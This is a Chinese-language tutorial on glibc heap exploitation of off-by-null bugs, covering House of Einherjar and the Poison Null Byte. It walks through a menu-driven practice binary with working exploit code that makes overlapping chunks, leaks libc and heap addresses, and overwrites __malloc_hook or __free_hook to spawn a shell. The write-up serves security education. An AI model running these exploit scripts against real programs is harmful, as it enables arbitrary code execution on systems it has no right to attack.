Off-By-Null
Off By Null和Off By One差别在于只能溢出一个Null Byte而不是一个可控的字符
相比之下难度更大一些,这一节主要是两个利用Off by Null漏洞的方法
-
House of Einherjar思路是清除一个申请了的chunk的
prev_inuse
位,之后在free
的时候触发consolidate使得前一个chunk存在两个指针; -
Google Posion Null Byte则是针对
free
掉了的chunk,通过修改free chunk的大小,使被溢出的chunk被再次申请时错误更新prev_inuse
位,最终free
后一个chunk时触发consolidate。
House of Einherjar
可以malloc
三次smallbin,溢出一个Null byte
构造一个chunk_B大小0x100,清掉prev_inuse
位,伪造一个prev_size
到user
的位置
user
里面把fd、bk都设置成自己绕过safe unlink检查
username = p64(0) + p64(0x91) + p64(elf.sym.user) + p64(elf.sym.user)
chunk_A = malloc(0x88)
chunk_B = malloc(0xf8)
edit(chunk_A, p64(0)*16+p64(heap-elf.sym.user+0x90))
# consolidate
free(chunk_B)
这样在free
的时候提示了一个错误 corrupted size vs. prev_size
这部分比较的具体内容是这里
chunksize(P)!=prev_size(next_chunk(P))
也就是在user
处伪造的chunk size 0x91和
从0x91这个chunk找到下一个chunk,看这个chunk的prev_inuse
字段
发现这两个值不相等
一个简单的绕过方法就是将伪造的这个值设置为8,这样通过prev_size(next_chunk(P))
找到的也是这个8本身,就发现两者相等
虽然这个值不是一个有效的chunk size,但是可以这样绕过
接下来free(chunk_B)
时发生consolidate
,直接从Top chunk合并到user
这里
因为top chunk都到这里了,接下来直接申请一个新的chunk就可以修改下面的target了
Posion Null Byte
前面的思路是消除一个已经申请了的chunk的prev_inuse
然后利用consolidate
得到一个dup的指针
而Off By Null还有一种针对已经free
掉的chunk的利用方法,最初是2014年时glibc中被爆出一个堆上的off by null漏洞,google project zero的一个人利用这个漏洞获取到了代码执行的权限,后续又在实际的程序上进行了利用(pkexec)
这里有三个链接可以参考一下;
原理
举例说明的话,首先申请三个chunk
头尾不重要,中间的chunk假设大小是0x210,将其free掉之后可以得到图中左边的状态
这时利用Null Byte的溢出修改这个chunk的大小为0x200,但是chunk_C处的prev_size
是没有变化的
接下来申请两次0x100,这里会触发之前介绍过的remaindering,分割成了两个0x100的chunk
但是由于chunk_B的大小被溢出改成了0x200,chunk_C的prev_inuse
并没有被设置为1
而是更新到了B2和C之间的0x10字节上
这时执行free(chunk_C)
,由于C的prev_inuse
是0,并且prev_size
是0x210
会直接将C和B1、B2合并(consolidate
)全部free
掉
这时再次申请的内容就会与chunk_B1、chunk_B2发生重叠
这样就可以得到一个overlap的指针,而有了overlap的指针就可以进一步实施unsortedbin attack、fastbin attack等等
实践
这个文件的保护机制全部都是打开的状态
堆菜单的功能有malloc
、edit
、free
和read
但是这个程序没有泄漏出堆地址和libc的地址
栈上保存着一个变量m_array
,用于存储堆申请chunk的相关信息
每一项有两个8字节组成,user_data
是申请空间的地址,request_size
是申请的大小
漏洞在于edit
函数中
这里在执行时首先直接读取申请大小的内容到user_data
处
tmp = read(0, m_array[na].user_data, m_array[na].request_size)
read
的返回结果为成功写入的字节
m_array[na].user_data[tmp]=0
之后这样一个操作在写入的内容后面又加入一个0
这一个字节也就是溢出的一个Null字节
按照上面介绍的原理直接写一下exploit
chunk_A = malloc(0x88)
chunk_B = malloc(0x208)
chunk_C = malloc(0x88)
chunk_D = malloc(0x88)
free(chunk_B)
edit(chunk_A,"a"*0x88)
chunk_B1 = malloc(0xf8)
chunk_B2 = malloc(0xf8)
free(chunk_C)
但是这样运行会看到一个熟悉的错误
unlink时出现错误,原因就是chunk_B在safe unlink时bk->fd==p && fd->bk==p
这个条件不满足
在以往的程序中要绕过也很容易,只需要将chunk_B1的fd、bk都设置为自身,就可以通过这个判断;
但是这样的前提是程序存在一个堆的地址泄漏
这里可以使用的方法是将B1释放,让它真的是一个unsortedbin,这样就可以通过unlink的条件
overlap的chunk还有B2,也可以用于进一步的攻击
chunk_A = malloc(0x88)
chunk_B = malloc(0x208)
chunk_C = malloc(0x88)
chunk_D = malloc(0x88)
free(chunk_B)
edit(chunk_A,"a"*0x88)
chunk_B1 = malloc(0xf8)
chunk_B2 = malloc(0xf8)
free(chunk_B1)
free(chunk_C)
执行exploit可以看到触发了consolidate
,chunk_B和C合并后放到了unsortedbin中
其中绿色是chunk_B1,蓝色是chunk_B2,红色是chunk_C
目前chunk_B2的指针还是可用的,接下来先利用unsortedbin leak得到libc的地址和堆地址
libc的地址可以通过再次申请B1,触发remaindering之后填在B2的fd和bk处
而堆地址的话,则可以通过释放chunk_A,将chunk_A也加入到unsortedbin中
这样更新fd、bk时会在B2的fd写入main_arena
中的地址,bk写入chunk_A的地址;
就可以一次读获取到两个leak
chunk_B1 = malloc(0xf8)
free(chunk_A)
data = read(chunk_B2,16)
libc.address = libc.sym.__malloc_hook - (u64(data[:8])-0x68)
heap = u64(data[8:])
有了libc的地址,最后利用fastbin attack修改malloc_hook
就可以拿到shell了
chunk_A = malloc(0x88)
fast = malloc(0x68)
free(fast)
edit(chunk_B2, p64(libc.sym.__malloc_hook - 0x23))
fast = malloc(0x68)
target = malloc(0x68)
edit(target, b'a'*0x13+p64(libc.address+one_gadget))
首先把chunk_A申请回来
然后申请一个大小为0x68的chunk,这个chunk和B_2是同一个指针
将其free
掉加入到fastbin中
执行fastbin attack将malloc_hook
修改为one_gadget
但是执行之后会发现libc的几个one_gadget都没办法执行
接下来就有两个思路
利用realloc调整栈
在这里下一个断点调试一下b *__malloc_hook
三个one_gadget需要满足的条件依次为:
rax==NULL
[rsp+0x30]==NULL
[rsp+0x50]==NULL
而运行到这里时,栈的情况为
这两个条件都不满足,同时rax的值也不是0
但是可以注意到0x50的位置虽然不是0,但是0x58的位置是0
如果能够想办法让这个0在0x50处就好了。
这里涉及到一种调整栈的方法,利用realloc_hook
调整栈
realloc_hook
就在malloc_hook
的前面,因此利用fastbin attack也是可以覆盖这个位置的
realloc
函数开始位置首先有一系列push
,之后执行realloc_hook
将malloc_hook
填为realloc
的地址加一个偏移(这样减少push
的数量达到调整栈的目的)
将realloc_hook
填为目标的one_gadget
这样触发时首先执行malloc_hook
即realloc
加偏移,之后执行realloc_hook
即one_gadget
那么首先我们修改一下exploit的最后一行
edit(target, b'a'*0xb+p64(libc.address+one_gadget)+p64(libc.sym.realloc+2))
要使0x58的0到0x50处,只需要少push
一个值即可
所以在malloc_hook
处填写为realloc+2
的地址
再运行一下可以看到这里0x50就已经是0了,满足了one_gadget的条件
最后的exploit
chunk_A = malloc(0x88)
chunk_B = malloc(0x208)
chunk_C = malloc(0x88)
chunk_D = malloc(0x88)
free(chunk_B)
edit(chunk_A,"a"*0x88)
# 溢出一个Null Byte
chunk_B1 = malloc(0xf8)
# renmaindering
chunk_B2 = malloc(0xf8)
free(chunk_B1)
# 将B1加入到unsortedbin,从而绕过safe unlink
free(chunk_C)
# 触发consolidate,B、C的空间都加入到unsortedbin
chunk_B1 = malloc(0xf8)
free(chunk_A)
# 将B2的fd、bk变成libc的泄漏地址和堆的泄漏地址
data = read(chunk_B2,16)
libc.address = libc.sym.__malloc_hook - (u64(data[:8])-0x68)
heap = u64(data[8:])
# 计算得到堆地址和libc地址
chunk_A = malloc(0x88)
# 申请回来chunk_A
fast = malloc(0x68)
free(fast)
# 将B2的位置释放为fastbin
edit(chunk_B2, p64(libc.sym.__malloc_hook - 0x23))
# 利用fastbin attack得到malloc_hook写能力
fast = malloc(0x68)
target = malloc(0x68)
one_gadget = 0xd6fb1
edit(target, b'a'*0xb + p64(libc.address+one_gadget) + p64(libc.sym.realloc+2))
# 利用realloc调整栈
修改free_hook
另一个思路就是,不再使用one_gadget
而是结合unsortedbin attack和fastbin attack
直接不再去修改__malloc_hook
而是去改__free_hook
我们知道在gdb中使用find_fake_fast
是找不到__free_hook
附近可以伪造的地方的
那么可以使用unsortedbin attack在__free_hook
附近写入一个main_arena
中的值
因为main_arena
中的值都是以0x7f开头的,写入这个值之后就可以再使用fastbin attack了
edit(chunk_B2, p64(libc.sym.__free_hook - 0x16) + b'A'*0x60 + p64(0x21) + p64(0) + p64(libc.sym.__free_hook - 0x23))
首先在B2中伪造一个unsortedbin chunk
将fastbin的fd指向free_hook
前
在fastbin之后伪造的unsortedbin中bk填为free_hook
前的一个地址
这样在unlink这个unsortedbin时会执行
p->bk->fd = p->bk;
p->fd->bk = p->fd;
这就使得free_hook-0x23+0x10
的位置写入了一个main_arena
中unsortedbin的地址
main_arena
中unsortdebin的bk处写入的是free_hook-0x23
的值
这时再执行find_fake_fast
就可以找到可以伪造的chunk了
这个位置是free_hook
前0x16字节
所以我们修改fastbin的fd为这个地址,就可以申请下free_hook
所在的空间
最后修改free_hook
为system
并调用/bin/sh
即可
edit(chunk_B2, p64(libc.sym.__free_hook - 0x16) + b'A'*0x60 + p64(0x21) + p64(0) + p64(libc.sym.__free_hook - 0x23))
malloc(0x18)
malloc(0x68)
target = malloc(0x68)
edit(target, b'a'*6+p64(libc.sym.system))
edit(chunk_D,'/bin/sh')
free(chunk_D)